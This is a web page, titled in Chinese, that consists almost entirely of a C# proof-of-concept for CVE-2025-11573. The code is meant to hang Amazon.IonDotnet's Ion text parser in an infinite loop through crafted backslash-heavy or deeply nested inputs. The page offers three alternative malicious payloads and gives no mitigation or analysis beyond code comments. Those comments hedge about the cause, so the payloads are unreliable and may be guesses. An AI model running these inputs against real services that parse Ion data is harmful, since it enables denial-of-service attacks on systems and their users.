CVE-2025-11573 Amazon.IonDotnet无限循环拒绝服务漏洞

// CVE-2025-11573 PoC - Amazon.IonDotnet Infinite Loop DoS // This PoC demonstrates triggering an infinite loop in Amazon.IonDotnet < v1.3.2 // by providing a specially crafted Ion text input that causes the parser to loop indefinitely. using System; using System.IO; using System.Text; using Amazon.IonDotnet; class Program { static void Main(string[] args) { // Crafted Ion text input designed to trigger infinite loop in the parser. // The malformed symbol token or unterminated string literal causes // the text reader's state machine to loop without making progress. string maliciousInput = "'''" + new string('\\', 10000) + "u{'a':"; // Alternative: unterminated string with escape sequences // string maliciousInput = "\"" + new string('\\', 10000) + "u"; // Alternative: deeply nested or malformed structure // string maliciousInput = "{\"a\":" + new string('(', 100000) + "1" + new string(')', 100000); try { using (var reader = new MemoryStream(Encoding.UTF8.GetBytes(maliciousInput))) { // This call will hang indefinitely due to infinite loop in parser using (var ionReader = IonReaderBuilder.Build(reader)) { // The parser enters an infinite loop during MoveNext() // and never returns, causing denial of service Console.WriteLine("Starting to parse malicious input..."); while (ionReader.MoveNext() != IonType.None) { // Parser is stuck in infinite loop here Console.WriteLine("This line will never be reached"); } } } } catch (Exception ex) { Console.WriteLine($"Exception: {ex.Message}"); } } }